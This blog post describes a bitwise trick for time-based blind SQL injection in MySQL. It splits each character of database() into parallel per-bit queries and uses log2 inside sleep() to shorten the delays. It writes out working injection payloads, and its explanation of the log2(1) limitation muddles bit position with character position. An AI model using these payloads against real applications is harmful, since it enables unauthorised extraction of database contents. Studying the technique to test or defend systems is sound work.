My Bitwise Trick for a Faster SQL Injection
Hello all,
I want to share a trick that helps to find a char of a string under 7 seconds during a time based sql injection exploitation as a blog post. Some knowledge about bitwise coding interview questions, logarithms and another sql injection technique helped me to develop this simple trick. Couple of months ago, it came into my mind to create this trick but I couldn’t find an oppurtunity to test it. Obviously, connection issues are ignored.
Let me explain this trick as simple as possible…
Other Time Saver SQL injection Technique:
10 years ago a document of sql injection technique was shared by Canberk Bolat on the following page:
https://www.webguvenligi.org/docs/bsqli/2_istekte_blind_sql_inj.pdf
That technique helps to decrease number of request to retrive information from database. It helps to find the length of the string by putting inside of the sleep() function itself , then using custom binary search techniques to findout the characters of the string.
Bitwise Trick:
As I wrote in my previous blog post last year, the bitwise shifting technique for sql injection as follows:
- Create a byte which has only one bit is set
- Shift it for 7 times
- AND the generated byte for each shift with unknown character
- If the result is one, then we will know that the bit is set :)
Let’s look into the pseudo code given below:
for(int i=0; i<=7; i++){
if (CHARACTER & (1 << (i)))
cout << "1";
else
cout << "0";
}
If you want to check the previous post in detail, link is shared below:
- https://cems.fun/2019/04/17/sql-injection-for-competitive-programmers.html Please kindly see the 2.3) Bitwise Trick part of that blog post.
The Tricky Technique
Let me explain shortly the technique itself. By using this method;
1 character can be found up to 7 seconds, if all bits are set in the worst case like 11111111.
For the first character of database name;
Thread 1:
select(ord(substr(database(),1,1))) & 1<<0;
If bit is set then it returns 1. Else it returns NULL.
Thread 2:
select(ord(substr(database(),1,1))) & 1<<1;
If bit is set then it returns 2. Else it returns NULL.
Thread 3:
select(ord(substr(database(),1,1))) & 1<<2;
If bit is set then it returns 4. Else it returns NULL.
Thread 4:
select(ord(substr(database(),1,1))) & 1<<3;
If bit is set then it returns 8. Else it returns NULL.
Thread 5:
select(ord(substr(database(),1,1))) & 1<<4;
If bit is set then it returns 16. Else it returns NULL.
Thread 6:
select(ord(substr(database(),1,1))) & 1<<5;
If bit is set then it returns 32. Else it returns NULL.
Thread 7:
select(ord(substr(database(),1,1))) & 1<<6;
If bit is set then it returns 64. Else it returns NULL.
Thread 8:
select(ord(substr(database(),1,1))) & 1<<7;
If bit is set then it returns 128. Else it returns NULL.
First Problem of This Technique So if we put the query inside of sleep() then is it gonna sleep for 128 seconds?!
if we do yes, but we won’t.
We are able to use Logarithm in MySQL as follows: The output of;
select LOG2(32);
query is 5 as you can see on the second query of the following screenshot:
As seen on the screenshot if bit is not set, query returns ‘NULL’.
Second Problem of This Technique
We shouldn’t use log2 for the first character.
Because; If we calculate the log2(1) then the result would be 0 so we won’t be able to understand if the bit is set or not.
That means, we shouldn’t do it for the first character but all others are okay…
Long story short the final payload would be shared below:
select(log2(ord(substr(database(),1,1)) & 1<<3));
If response of the following query delayed then it means Kth bit of Nth char of database name is 1 otherwise it is 0:
select(sleep(log2(ord(substr(database(),1,1)) & 1<<5)));
The screenshot which is shared below shows the delay (5.0 sec) which means the bit is set:
mysql> exit
Bye